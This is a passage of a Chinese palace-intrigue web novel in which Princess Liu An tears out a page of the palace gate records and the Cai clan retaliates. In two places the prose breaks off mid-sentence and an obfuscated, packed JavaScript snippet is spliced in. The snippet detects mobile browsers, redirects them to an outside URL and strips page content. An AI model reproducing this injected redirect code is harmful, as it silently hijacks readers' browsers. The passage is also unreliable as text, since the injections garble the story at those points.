想至此处,王太傅不敢耽搁,忙备车马进宫去找英王刘元商议。 王太傅到东华宫外,还未曾见到英王刘元,便听东华宫的宫人说英王之前旧疾复发,前一个月又逢太子大婚,身体一直就不大好,因此不见任何人。 这可把王太傅急得团团转,太子不见人,如今这英王也不见人,难道真要他大着胆子去面见陛下吗? 恰巧,永安公主刘安刚从东华宫出来。 王太傅见到刘安,仿佛抓到了救命稻草一般。 刘安见到王太傅,笑道:“太傅大人,元弟这几日身体不适,有什么事你说与我听吧,待元弟身子好些,我再告诉他。” 王太傅犹豫了一下,随后凑近永安公主悄声问道:“臣听闻昨日,陛下曾召见太子殿下,不知陛下昨日与太子说了些什么?” 刘安用打量的眼神看了王太傅一眼,而后戏谑笑道:“本宫又怎会知道?” 王太傅急得转了个圈,犹豫再三急道:“殿下回去后就闭门不出,谁也不见,今日更是连早朝也没来。” 刘安听后一惊,她今日与父皇一起用膳,父皇并未有什么异样,只说太子病了,谁曾想这中间还发生了这样的一件事。 如今这都一天的时间过去了,还没有半点消息从福宁殿里传出来,想来是父皇特意吩咐过的,想必定是发生了什么大事。 可到底是什么大事会一点消息都没透露出来呢? 难道要废太子?! “本宫知道了,太傅先回去吧,若有了消息,定会告与太傅。”想至此处,刘安打发走王太傅,决定去福宁殿探一下情况。 永安公主刘安拜别太傅后,便急匆匆地奔向福宁殿,待经过福宁殿旁的宫门时,无意瞥见为承道帝奉茶的宫人用的茶盏,这套茶盏不是承道帝最爱用的那套紫釉描金边的钧瓷,反而换了平时不常用的粉青釉开片的御窑茶盏。 刘安常与承道帝待在一起,知晓承道帝最喜欢那套钧瓷,定不会轻易更换,况且昨日还在用,怎么今日却换了这一套不常用的。 联想到昨日发生的事,难道与太子有关? 22. 闯宫(二)探明真相 永安公主刘安拦下奉茶的内官,问道:“素日里父皇用的茶具不是那套紫釉金边的钧瓷吗,怎么换了这一套来?” 宫人垂头环顾左右,皆不敢言语。 刘安心中已大致猜到了,见宫人不敢说,也不多为难宫人,和善笑道:“快去奉茶吧,可别让茶凉了。” 刘安想着承道帝喜欢钧瓷,自己福康宫里正好还有一套,便随手招呼来奉茶队伍里最末尾的一个宫人:“你过来。” 奉茶宫人见永安公主呼唤,垂着头小跑至刘安面前听候差遣。 “父皇最喜欢钧瓷,若没这钧瓷的茶盏,只怕这茶水也会少些味道。本宫记得福康宫里倒是还有一套红釉的钧瓷茶盏,你去福康宫取了来交给吴内官吧。” 奉茶宫人听后犹豫片刻,迟疑问道:“不知是哪位吴内官?” 刘安听后浅笑道:“御前不就那一位吴内官吗?还会是哪位吴内官?” 奉茶宫人道:“回殿下,如今福宁殿内有两位吴内官,不知殿下说的是哪位吴内官。” 永安公主安排后正欲离开,听到宫人这么说,便停下脚步,走至宫人近前问道:“除了一位姓吴的内监大总管吴善辅,另一位吴内官是?” “昨日陛下又从外殿新提了一位内官到身旁伺候,也姓吴,陛下还给吴内官赐名忠义。”宫人一脸羡慕地回道。 他之前还和这个吴忠义内官共事过,后来吴忠义内官得了大总管吴善辅的赏识,二人认了师徒,吴忠义便被调到了福宁殿伺候,如今吴忠义又得了承道帝的赐名,真是前途无量啊。 刘安了然道:“交给内监大总管吴善辅吴内官吧。” 这个吴忠义先前从未注意过,昨日又是被提拔又是被赐名的,想来定是知晓昨日发生了什么事,不知可否能从吴忠义那里探听到些许消息呢? 想着,刘安便来到了福宁殿,不料还未进殿,便被大殿门口的吴忠义拦住: “陛下有令,不见任何人,还请殿下请回吧。” “本宫也不见吗?” 刘安狐疑地看了眼吴忠义,打量着吴忠义的服饰,不是普通的宫人,又看着脸生,想来这就是那小宫人说的新提的内官吴忠义吧。 “殿下,眼下皇后娘娘在里面,只怕殿下不宜进去。”吴善辅见永安公主刘安被拦住往回走,忙小跑几步至刘安面前,赔笑低声道:“殿下现下来,可与太子有关?” “正是。” 吴善辅无奈地叹了口气,道:“只可惜奴才昨日不在陛下近前,不晓得昨日到底发生了什么事,否则定会对殿下知无不言言无不尽。” 吴善辅见刘安疑惑地盯着他,低声劝道:“昨日到底发生了什么,陛下为何突然召见太子,除了陛下与太子,旁人一概不知,既然是扑朔迷离之事,殿下何必要插手此事呢?” “这件事儿就是一个泥潭,殿下又何必把自己搅到这泥潭之中呢?” 刘安见吴善辅都这般说,也知从福宁殿这里找不到什么线索,只怕父皇早就下令宫人们三缄其口了。刘安思索再三后,便也不再追问。 “多谢吴内官。” 刘安听劝,转身离开了福宁殿。 只是,她身为父皇长女,若不能为父皇分忧,岂不枉顾了父皇这么多年的教导?她身为弟妹们的长姐,若不能呵护弟弟妹妹们,岂不枉废了弟妹们多年的尊敬?若她能从中斡旋,消除父皇与太子之间的矛盾,岂不对大家都好? 想至此处,刘安决定去查,去查昨日到底发生了什么。可父皇见不到,太子也见不到,就连福宁殿的人都闭口不谈此事,还能从哪儿查起呢? 父皇既然昨日突然急召太子,还碎掉了最喜欢的茶盏,那必然是听到了什么,才会大发雷霆。那是谁在父皇面前多言呢? 刘安边走边想,忽然,冒出一个念头: 记档! 出宫记档! 凡出入皇宫,宣政门皆有记档,只需查阅太子入宫前的出宫记档,再根据出入宫时间去推测,便可大致锁定是谁了。 刘安立即调转方向,一刻也不敢耽搁,朝着宣政门赶去。 刘安来到记档处,为了不让旁人知晓她真正的目的,便命人拿出近一个月的皇宫进出记档,一页一页地翻着,一列一列地看着。 刘安身后的两名记档官互相看一眼,皇宫的记档他们向来记得仔细,并未出过什么差错,怎么永安公主殿下来查了? 两名记档官担惊受怕地擦去额头上的紧张的汗珠,战战兢兢地垂头站着,大气也不敢喘一声。 刘安翻到了昨天的出宫记录,注意在太子入宫前半个时辰,有几人曾出宫。 刘安默默地记下这几个人的名字与官职——户部尚书程显、户部左侍郎黄崇安、户部右侍郎林英、礼部右侍郎周述、谏议大夫裴纶、谏议大夫袁正。 刘安到是听承道帝提起过程显,这个人是科举考出来的寒门学子,与那些世家大族受荫封的子弟不同,为人刚正,不畏强权,敢于进谏。承道帝很是看好程显,觉得他这一路走来不易,因此对他多有庇护。 刘安见这六人中还有两个谏议大夫,便大致猜到了昨日发生了什么事,想来是这几人相约去父皇面前进谏,估计是说太子包庇晋国公一事吧,父皇因此愤怒,之后父皇召太子入宫,估摸着是怒斥太子,太子受到训斥,这才称病不上朝吧。 父皇对太子寄予厚望,而太子却处处包庇晋国公包庇蔡氏一族,蔡氏一族枉顾法度,欺压百姓,太子这顿训斥挨得不亏。 刘安叹了口气,撕下记档簿中写着这六人出宫记录的那一页记档,起身便要离开。 两名记档官见刘安撕下一页,不由得面面相觑。若阻止公主则会得罪公主,若不阻止他们两个会被上司责罚,真是进退两难。 不过素闻永安公主对宫人仁慈,只要他俩将这其中利弊说与公主,想来公主会体谅他们二人的难处吧。可若是惹恼了公主,挨一顿打怎么办? 算了,如今是伸头一刀缩头也是一刀。 倏地,两名记档官跪在刘安面前,拦住刘安道: “殿下,存档记录是微臣的职责,看护记档是微臣的本分,殿下如今撕下一页记档,微臣实在难与上司交代,还请殿下归还撕下的那页记档。” “倘若宫中贵人皆如殿下这般所作所为,那还让臣等今日如何做事?还请殿下归还那页记档!” 永安公主打量着跪在地上的两人,心想他们说的也对,此例不能开,若以后有比他们官阶高的人来查这进出记录,恐有隐患;但这页记档也不能还,否则这名单上几个人保不住,父皇的谋划就要落空了。 其中一名记档官迟迟未听到公主的反应,便开口道:“食君俸禄为君分忧,微臣在此处办差领的是陛下的薪水俸禄,只可听命于陛下,若殿下执意要带走这页记档,还请公主拿出陛下的旨意来。” 刘安听后,便有了对策,掏出承道帝御赐的金羽令牌展示在二人面前,“陛下御赐的金羽令牌在此,本宫行事自然是奉了陛下的旨意。” “臣等拜见陛下。”二人向金羽令牌下跪道。 二人见到令牌后松了口气,心想公主有令牌不早点拿出来,害得他们两个担惊受怕的。既然公主有令牌,若有人查起来,便与他们二人并无干系,他们也只是听差办事罢了。 “起来吧。”刘安伸手,身后的宫人奉上一个荷包,刘安从里面掏出一把金瓜子放到桌子上,随即说道:“难得有人做官会像你们二人这样忠正耿直、不畏强权,本宫很是欣赏你们这样的品行,还望你们能始终如一坚守初心。” “这些赏你们的。” “谢殿下!”两名记档官起身后慢慢擦着脸上的汗。 刘安走出记档处,忽又想到什么,停下脚步,回头问道:“不知若是旁人问起这页记档,二位怎么答?” 两名记档官对视一眼,试探着回道:“臣等在此办差,只听命于陛下,若尊上要查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274219|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验,待微臣请示陛下的旨意后再做定夺。” 刘安听到二人如此作答,便满意地点头而后离开记档处。 刘安揣着那页出宫记录,复盘着最近的形势: 前几个月四皇子刘茂回京,让许多人生了别的心思,蔡氏一族又嚣张跋扈,因而弹劾晋国公的奏折一下子冒出来很多,虽说太子如今监国,弹劾的奏折压下去不少,但终究是纸保不住火,这才闹得接风宴上父皇动怒。 虽说父皇只处置了二皇子刘仲,但到底是心里埋了根刺儿。 如今四皇子秦王刘茂被赶去陌南就藩,太子又去了温国公的女儿温嘉诚,按理来说,父皇的意思已经够明显了,大臣们也都见风使舵,纷纷与晋国公亲近,弹劾的奏折少了许多。 可到底还是有刚正不阿之人,看不惯这种风气,还在坚持弹劾晋国公,不过奏折还未被父皇看到,便都被太子提前拦截了,想来这几人也是没了办法,相约福宁殿亲自见圣直言进谏吧,这才闹出这么一桩事。 刘安想到这里,不知不觉间竟已走到了东华宫。 刘安本想与英王刘元商量,但只怕元弟知道后又要劳神费心,不利于养病,因此便转向去了福宁殿,想来这会儿皇后已经离开福宁殿了吧。 承道帝见到刘安,佯装疑惑地问吴善辅:“朕记得还没到用晚膳的时候吧。” “怎么,我就只有用膳的时候来得了福宁殿,其他时间就来不得吗?”刘安大摇大摆地坐下喝茶,抿了一口,端详着手中的茶盏,是她早上命人送过来的那套红釉钧瓷。 刘安颔首笑道:“这茶盏倒是不错。” 刘安说罢,瞄了眼承道帝的表情,随即俏皮地说道:“在我宫里放了两年,一直舍不得用,到底呀,还是托了父皇的福,今儿总算是用到了。” 刘安说着又喝了一口茶,嘴里不住地夸赞道:“不错不错。” “你呀!”承道帝无奈地摇头,宠溺地笑着,“就你敢这么跟朕说话。” “那是父皇宽宏大量,不愿跟我这小小女子一般计较。”刘安笑着走到承道帝身旁,歪着头看承道帝批阅奏折。 永安公主刘安是承道帝亲自带大的,又十分懂事听话,因此承道帝十分宠溺这个女儿。 承道帝见刘安在他身后歪着头看奏折,也不生气,反而拉着刘安一起看,还给刘安讲这其中的门道。 吴善辅见承道帝在与永安公主谈论朝政,便识趣地带着宫人们退出内殿,来到外殿候着。 刘安见殿内没有第三人,便从袖中掏出程显等人的出宫记录,放在承道帝的奏折上。 承道帝不解地看了刘安一眼,狐疑地打开一看,待看到是程显几人的出宫记录后,笑道:“我们家安儿长大了,会谋算了。” 刘安见承道帝用小名亲昵地称呼自己,便知道在承道帝心里并没觉得她越权,因此撒娇道:“不知父皇要怎么赏赐我呢?” 承道帝拿出玉玺,摆到永安公主面前,慈祥地着看向永安公主,大手一挥,笑道:“朕是天子,朕的玉玺就在这里,你想要什么,自己写了盖上玉玺就是。” 刘安一撇嘴,佯装抱怨道:“哼,父皇真会开玩笑。别待会我写出来,父皇又不舍得给我了。” “朕是天子,自然说话算话,你尽管写就是了。”承道帝笑道。 刘安听后努努嘴,眼神看向承道帝桌上的茶具,开玩笑道:“那我要这个,父皇可要说话算话啊。” “朕从未听过这话。”承道帝见刘安想要回她送的茶盏,便耍起了无赖,轻轻弹开刘安的手,假装不理会刘安。 刘安见状掩嘴笑道。 福宁殿中一片欢快祥和的气氛。 刘安感觉铺垫地差不多了,正欲向承道帝询问昨日究竟发生了什么事,还未来得及开口,便听到外殿的吴善辅急急忙忙地进来汇报: “陛下,晋国公世子蔡桐在殴打了宣政门处的两名记档官!” “什么?” 23. 闯宫(三)蔡桐受罚 “什么?”永安公主刘安听后惊得站了起来,而后看了皇帝一眼,问吴善辅:“因为什么事?” 记档官被打? 难道是为了这一页记档? “这……奴才不在跟前儿,听得不真切,还要要等陛下查明真相后才知道。”吴善辅故作为难道。 自秦王刘茂离京时,吴善辅就已投靠太子投靠皇后,蔡桐是太子一脉的人,今日不论蔡桐是什么缘由,在宫内殴打官员已是过错,吴善辅自然不会在皇帝面前多说什么。 吴忠义抢着说道:“回殿下,奴才听说,是因为蔡世子要翻阅出入宫的记档,但记档官尽责尽职没让蔡世子翻阅,蔡世子不如愿,这才恼了动手打人。” 吴忠义身为底层人,早就不满蔡桐的所作所为,如今听闻此事,更是对那两名记档小官多有同情;再者,吴忠义与二皇子刘仲关系匪浅,见太子一脉的人犯了错,自然喜闻乐见。 吴善辅听到吴忠义话语中的偏向,急得跳出来骂道:“你个兔崽子,你知道什么,敢在陛下面前胡言乱语颠倒黑白!” “啪!” 永安公主刘安一掌重重地拍在桌子上,打断了吴善辅的话,不怒自威,冷冷地看着吴善辅。 吴善辅自知口不择言,在承道帝与永安公主面前失了分寸,因此跪下狠狠地扇了自己好几个巴掌,边打边哭丧着脸说道:“让你胡说,让你胡说,让你胡说……” “滚出去。”皇帝低着头把玩着手上的扳指。 待吴善辅跪着退出内殿,承道帝冷冷吩咐道:“忠义,你带着禁卫军,去把蔡桐捆了,丢到长秋宫,交由皇后亲自处置。” “是。”吴忠义得令后便退下了。 承道帝的目光落到桌上的那一页撕下来记档,暗暗松了一口气。 幸而安儿将这一页撕下来了,要不然削弱世家的谋划就得重头再来,要不然朝中的寒门学子将永无出头之日,要不然皇权还会继续被这些世家大族所左右。 想当初,皇兄启盛帝被这些世家左右,早就动了改革的心思,为的就是要削弱这些世家大族,集中皇权。即便是与出身汀州张氏的生母张太后意见相悖,也要进行改革。岂料改革进行得如火如荼之时,皇兄启盛帝便离奇地落水而亡。 当日皇兄启盛帝临终前的警告承道帝都牢牢地记在心里,就连即位后的二十多年也是这么做的,让颖州蔡氏与汀州张氏斗得水火不容,让出身颖州蔡氏的晋国公与出身汀州张氏的齐国公斗得天昏地暗,让出身晋国公府的皇后与出身齐国公府的张贵妃斗得你死我活。 “父皇。”刘安轻声唤回承道帝的思绪,她不理解蔡桐行事都这般恶劣了,为什么父皇还不处置蔡桐,为什么要一而再再而三地放过他? 因太子八岁时离开皇后住到了东宫,蔡桐便自幼养在皇后宫中,蔡桐很得皇后娇惯宠爱。 皇后又怎会舍得狠狠处罚蔡桐? “多行不义必自毙。”承道帝知道刘安想问什么,耐心地为刘安解释道:“这些世家大族,在朝中的势力盘根错节,往往牵一发而动全身。若今日朕亲手处置了蔡桐,明日便会有人呈上来晋国公、齐国公的罪证来试探朕,后日便有其他人的罪证被呈上来,难道朕要将这些人全都处置了吗?” 承道帝曾经在这些世家大族手上吃过亏,因此格外小心。 当时承道帝登基时还年轻,心中常以皇兄启盛帝为榜样,想有一番大作为。欲承袭启盛帝的遗志整顿朝纲,但没想到边境失守,胡人的军队只花了三天的时间,就从北境防线杀到了京师。胡人兵临城下,承道帝仓皇南下出逃,成了承道帝心中的痛。也是那一战,四皇子刘茂被胡人带走做了质子。 承道帝一直在心中复盘这件事,胡人再怎么行军迅速,京师以北好歹还有个漳州、颖州呢,就算是漳州边防失守,怎么会三天就穿过颖州直奔京师了呢? 承道帝总觉得当年那一战输得蹊跷,定和颖州蔡氏脱不了干系,但一直苦于没有确切的证据,因此只能放权给太子监国,让颖州蔡氏膨胀,到时自会暴露出更多的破绽。 承道帝呵笑一声,道:“朕虽有心处置他们,但力不从心,只得静待时机。” 皇兄启盛帝离奇落水,启盛帝的生母张太后抑郁而终,刘仲的出生,长子刘元的生母祁妃、长女刘安的生母陈妃的突然暴毙,长子刘元身体越来越差,十二年前大军覆灭战败,四皇子刘茂远赴大胡做质子,桩桩件件都与他们这群人脱不了干系! “他们这些人,手里怎么会干净呢?只要我们耐心等待,总会等到时机的。” 刘安似懂非懂地点头听着。 蔡桐被吴忠义结结实实地绑到了皇后的长秋宫,皇后看到蔡桐被捆得像个粽子一样,惊讶地说不出话来。 “吴内官,这是?”皇后迟疑地看着地上的蔡桐,又扭头看向立在一旁的吴忠义,问出心中的疑惑。 吴忠义讲明前因后果,而后道:“娘娘,陛下说蔡世子交由娘娘亲自处置。如今人已带到,奴才告退。” 听了吴忠义所说的,皇后便明白了承道帝的意思,是自己骄纵了蔡桐,这是要让自己亲自下手处置。 皇后走近被仍在地上的蔡桐,看着蔡桐被堵着嘴,焦急地呜咽着,皇后便心中不忍,这可是她从小养到大的孩子啊。况且蔡桐是奉了她的令去看出宫记档,这叫她如何忍心呢? 但想及今日承道帝告诉她的,太子如今已收到了牵扯,今日早朝都没去,想到太子,这让皇后不得不下定决心,闭上眼睛一声令下: “打!” 噼里啪啦五十棍打下去,蔡桐痛得失去了知觉,晕了过去。 宫人来报:“娘娘,蔡世子晕过去了。” 皇后娘娘慌忙擦去眼角的泪,心疼地说道:“还不快把人抬进来!” “一个个都愣着干什么,快去传御医啊!” 蔡桐脸色发白,额头上一直在冒冷汗。 皇后看着昏迷的蔡桐,眼泪忍不住地一直往下掉。 想在皇后怀着太子刘牧时,怀孕七个月时,皇后去赴贵妃的邀约,皇后的步撵行至云清宫前,因刚宫人们刚洒扫过,宫道湿滑,皇后从步撵上跌了下来,早产加上难产,虽说先于贵妃生下了皇子,成为了皇后,但也上伤了身体,从此便不能再有孕了。 而太子刘牧在皇后身边长到八岁,因承道帝担心子少而母壮,便让太子搬离了长秋宫住在东宫,从此与皇后分别。 幸好蔡桐自幼便进宫来陪她,皇后也因此把蔡桐当成自己的孩子一般来疼爱,对蔡桐处处纵容,不成想竟酿成今日大祸,皇后此时心如刀绞。 “姑母——”蔡桐慢慢睁开眼,气若游丝地喊着皇后。 “桐儿,你醒了,你可吓坏姑母了。”皇后伏在蔡桐旁边又哭又喜道。 “姑母,那宫门处的小官儿欺人太甚,只认陛下,不认您的令牌,我这才把他们打了一顿。”蔡桐气息微弱地为自己辩解道。 “我知道我知道,我的桐儿是最懂事最听话的,绝不会无缘无故地耍脾气。”皇后擦试着蔡桐脸上因疼痛冒出来的冷汗,心疼地哽咽道。 “姑母,那页记档,是被永安公主撕了去。” 皇后命蔡桐去查昨日是何人面见承道帝,蔡桐一路查,查到宫门记档处,不想被记档官阻拦,两方争执中,蔡桐暴打了记档官,强行看到了宫门处的出宫记档。 却不想记档簿上被撕掉了最关键一页。 蔡桐无意间发现了桌上永安公主赏赐用的金瓜子,才明白慢了永安公主一步。 “永安?”皇后不敢相信地瞪大双眼。太子与永安的关系很好,况且太子登基后她就是地位尊贵的长公主,她如今这么做是为了什么? “姑母,难道是永安公主她要扶持别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274220|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的皇子登基吗?” 扶持别的皇子?皇后听后心里警铃大作,与永安公主交好的皇子除了英王刘元…… 英王? 难道是英王刘元让她这么做的吗?难道英王觊觎太子之位? 皇后想到这里,心里咯噔一下,永安公主刘安素来与英王刘元交好,英王是祁妃的儿子,是长子,又得承道帝亲自教导,有能力,难道真是英王要做皇帝? 可是英王刘元身体不好…… 一想到英王的身体不好,皇后心里就有些发虚,难道是英王发现了他每日喝的汤药有问题? 哼,即便是是英王刘元他发现了,也无可奈何,那汤药可是她的父亲老国公亲自督办的,英王从小服用了这么多年,即便他如今发现有问题停了药,那也伤了根本,即便是他有心登基,只怕没那个命。 “姑母,我听说她在二皇子被杖责圈禁后还偷偷去探望。”蔡桐见皇后拿不定主意,便将永安公主探望过二皇子刘仲的事情说了出来。 永安公主刘安很受承道帝的宠爱,只怕永安公主这么做是承道帝授意的。 “难怪,难怪老二昨日就被放出来了。” “原来陛下竟是这么打算的,竟想让那个贱婢的儿子取代我的儿子做太子!”听蔡桐这么一说,皇后把这几天的疑点都理顺了,原来竟是这样的。 皇后她就这么一个儿子,这太子之位是她拼了半条命才挣下来的,她绝不允许被他人将太子之位夺了去! 皇后怒火中烧,手上不自觉地用劲,攥紧了蔡桐伤口上的纱布。 “痛痛痛!姑母,痛!” 皇后听到蔡桐疼得哇哇叫,这才反应过来,松了手。 “姑母,那现在我们要怎么办?”蔡桐忧心道,“难道就这么坐以待毙吗?” 皇后思索片刻,心中有了主意,沉声道:“太子如今只不过是挨了陛下的训斥,作为父亲的儿子,哪儿有不挨训的?永安公主素来得陛下宠爱,若她站在我们这边,还用得着担心陛下怎么想吗?” “太子被册立二十余年,在朝中的势力根深蒂固,太子的地位不是那么容易就能被几封小小的奏折所撼动的,这其中的道理想必永安公主也明白。” “只是太子与二皇子都是她的弟弟,无论谁登基,她都是尊贵的长公主。”皇后若有所思道,要想让永安公主毫不动摇地支持太子,就得和永安公主建立更坚固的利益关系,“可现在有什么办法能让我们和她紧紧地绑在一起呢?” 蔡桐顺着皇后的思路继续想到,若要永安和太子绑在一起,那就让永安成为颖州蔡氏的人,如果要成为颖州蔡氏的人,那就只有这一条路了: “姑母,我们大江女子十六及笄,十八便可议亲婚配,可永安公主如今已经二十九岁了,还未婚配,不如……” 蔡桐看向皇后,想看皇后对此有什么想法。 皇后听后,思索片刻,点点头同意道:“若她与我们颖州蔡氏的人婚配,到时就是我们蔡氏一族的人了,颖州蔡氏与太子一荣俱荣一损俱损,即便是永安公主她不站队置身事外,陛下也会认为她心向太子。” “只是这人选……我一时倒不知道族中还有谁尚未婚配的。”皇后忧心道,公主婚配,自然得挑天下最好的男儿,只是大江的男子在二十岁弱冠之年就会议亲娶妻,想找个与公主年纪相仿又未曾娶妻的,一时倒有些犯难,总不好找个有妻室的,也不好找个丧妻的鳏夫去做驸马啊! 当年皇后为永安公主和开国公的孙子牵线搭桥,想着借此卖开国公一个人情。眼看婚事就要成了,谁知那开国公的孙子家中竟妻妾成群,永安公主得知此事后大闹一场,闹到最后皇后也受了训斥。 如今又要与永安公主议亲,这议亲人选自然得更加慎重。 “姑母放心,我倒知晓一人,是最佳人选。” “定会让公主满意。” 24. 闯宫(四)蓄意报复 蔡桐记起他们蔡氏旁支中有个叫蔡闻的人,也三十好几了,与永安公主年纪相仿,至今尚未娶妻。前几日这人还来找他,说想在京中买个媳妇成家呢,如今这不巧了吗? 男未婚,女未嫁,想来这蔡闻配与公主,是再合适不过了。蔡桐想到此处,便忍不住偷笑,随后眼珠一转,计上心头,向皇后介绍起了蔡闻,打着包票忽悠着皇后,让皇后放心。 皇后听了蔡桐的描述,担忧地问道:“他为何至今尚未娶妻?可是有什么隐疾?” 这蔡闻,如今三十好几了,竟无一女子能看上他,想来要不是家境贫寒,要不就是有什么隐疾,这样一个人怎么能配得上最尊贵的公主呢?永安公主又怎会看上这种人? “姑母不必担心,这闻兄只不过是面貌有些丑陋罢了,不过心地还是好的,以后定会对公主千依百顺的好。待永安公主嫁过来为妻,还怕没有好日子过吗?” 待永安公主嫁与蔡闻为妻后,即便是承道帝最宠爱的女儿,也应当恪守为妻之本分,哪里还轮得着她再嚣张呢?既嫁了人,即便是她尊贵为公主,哪里还能由得了她呢? 蔡桐一想到永安公主今后的日子,心里便乐开了花,身上的痛仿佛也减轻了些。 “不可,陛下最宠爱永安公主,让陛下知道了,饶不了你,还会牵连太子!”皇后心中细细想过,觉得很是不妥。永安公主那么尊贵的一个人,怎么会心甘情愿地嫁给这么一个腌臜货?别到时候再弄巧成拙,把永安公主给推给二皇子做助力,那就得不偿失了。 “即便是再得陛下宠爱,她也不过是一名女子。难道她还能休夫不成?天下法度可没有女子休夫的条例!”蔡桐满脸轻蔑,不屑地说道。 皇后姑母和自己的父亲晋国公总是这么瞻前顾后,前怕狼后怕虎的,真不知道有什么可担忧的。日后太子登基,他们晋国公府权倾朝野,他们颖州蔡氏独树一帜,还怕个小小的公主? “罢了罢了,这蔡闻以后休要再提!” 皇后知道蔡桐素来胆大,担心蔡桐会不同他们商量就擅自行事,因此特意叮嘱道:“此事不着急,等你伤好了后,再从家族中挑些青年才俊,待我和你父亲过目后,再推荐给陛下也不迟。” “是。”蔡桐心不甘情不愿地答应了。 但蔡桐心里早已将挨的这五十大棒算到了永安公主头上。若不是永安公主撕下记档,他也不会暴打记档官,也不会受罚挨打。 皆由永安公主所起! 蔡桐心里对永安公主恨得牙痒痒,便想着借永安公主的婚事来恶心公主,因此对永安公主的婚配人选格外上心。 到时候我要你叫天天不应,叫地地不灵,即便你贵为公主,也得给我受着! 待蔡桐被抬回晋国公府,便急不可待地着手准备了。 东宫内,太子刘牧经过这几日的反思,觉得承道帝教训得对,自己确实对蔡氏族人太过宽容放纵了,以致于蔡氏一族在每每犯错,母后、舅舅便会来找他求情,自己也会给母后和舅舅面子,替蔡氏族人摆平遮掩。满朝文武对这些都看在眼里,只怕早就心生不满了。 天下百姓皆是他的子民,不单单蔡氏的人才是他的子民! 况且如今承道帝又把二皇子刘仲放出来了,若太子仍执意替蔡氏隐瞒遮掩,只怕这太子之位也要拱手让给二皇子了。但二皇子刘仲性情阴鸷,绝不能让这样的人登上皇位! 太子刘牧心中还有着远大抱负尚未实现,更何况已经做了二十年太子,又怎会将这唾手可得的皇位拱手相让呢? 太子刘牧理清思绪,又重新振作起来。 解铃还须系铃人,是他对蔡氏族人多多包容,那便由他来亲手处理这件事吧。 “来人,传蔡桐来见本宫。” 宫人回道:“太子殿下,只怕眼下……蔡世子不能来见殿下了。” 太子刘牧疑惑问道:“为何?” “蔡世子今儿在宣政门处殴打宫门记档官,被皇后娘娘杖责五十,才刚被抬着送回晋国公府。” “什么?”太子刘牧听后大为震惊,怎么蔡桐行事这般…… 唉呀!他怎么能在宫里殴打官员呢? 太子刘牧被蔡桐做的事儿气得说不出话来,半晌,才咬牙切齿道:“备马,去晋国公府。” 太子刘牧来到晋国公府,看到蔡桐趴在床榻上疼的哇哇乱叫的样子,又想到前几个月前蔡桐还被胡人活捉,心中更是生气。 刘牧深吸一口气,阴阳怪气地讽刺道:“世子骁勇啊,率两千精骑孤军深入,颇有汉朝冠军侯之风采,那日庆功行赏,本宫竟忘了在父皇那里提点世子一句,实乃本宫之失啊。” 蔡桐并未听出太子言语中的讽刺挖苦,趴在床上笑着地拱手谢道:“多谢殿下夸奖,若殿下能在陛下面前常常提及臣,臣就心满意足了。” “哼!”刘牧气急反笑,拿出昨日群臣弹劾蔡桐的奏折,摔在蔡桐头上,恨铁不成钢地笑道:“你看看,这些也是在夸奖你呢。” 蔡桐真以为这些奏折是夸奖他的,便乐呵呵地拾起折子看,连着翻看了两本奏折,察觉出来不对。在翻第三本奏折的时候,蔡桐偷偷地瞥了眼太子,见太子脸色阴沉眉头紧锁,不像是来夸赞他的,蔡桐脸色唰地一下变得煞白,战战兢兢道:“殿下……” 蔡桐尴尬地笑了几声,道:“殿下就别挖苦臣了,臣有几斤几两,殿下还不知道吗?” 太子刘牧越想越气,指着蔡桐的鼻子骂道:“本宫身为太子,勤俭恭敬,不敢有一丝的懈怠逾矩,你可倒好,打着本宫的名号,做出这些见不得人的勾当,如今都被人捅到父皇面前了!” “还有那个醉云轩,整日打着你的名号去欺压百姓,你竟这般听之任之吗?当日若不是大姐姐,只怕你那个醉云轩早就——” 蔡桐听到太子提及永安公主,不待太子把话还没说完,就出言打断道:“殿下可知,正是你满心敬重的这个大姐姐,包庇了那些与你不合的大臣,还害得我挨了这么一顿打!” “你被打皆是你咎由自取!怨不得我大姐姐。” “若不是太子殿下你受不得打击,被陛下训斥几句便上不得朝理不了事,姑母怎么会让我去查记档?” “母后只是让你去查出宫记档,可曾下令让你殴打官员?” “若不是永安公主他撕下了记档,我又怎么会查不到是谁在陛下面前告黑状呢?” “若不是你嚣张跋扈,纵容蔡氏族人为非作歹,又岂会有弹劾的奏折被呈到父皇面前?” 蔡桐听后自知辩不过太子,扭头冷哼一声,不屑道:“呵,那就尽管让那些酸腐文臣写去啊!” “他们知道什么?我们颖州蔡氏,驻守边境数十载,为大江流过血,为边防立下汗马功劳,若没我们颖州蔡氏的牺牲,哪儿有他们今日在这安稳的京都大放厥词呢?” “你……你……”太子刘牧被蔡桐气得险些背过气去,怒斥道:“若这些奏折都传到父皇面前,别说你这颗脑袋,就连晋国公一府的荣耀,又还能保住多少吗?” 蔡桐怒目圆睁,不忿地吼道:“让他们写!尽管让他们写去啊,我倒要看看,这些诋毁的奏折到底都是谁写的!我正愁找不到人呢!” 蔡桐眼眸微眯,猜测道:“是齐国公的门生们吧?还是那些见风使舵支持秦王的人?” 太子生气地一拍桌子站起身来,怒道:“你!你还是这么地不知悔改,本宫看你挨的这顿打还是轻了!” 蔡桐的声音也大了起来,一把将床上的奏折挥到地上,指着太子道:“殿下,太子殿下,你睁眼看看吧,我蔡桐才是一心追随你的人,我蔡氏一族才是一心拥护你的人!” 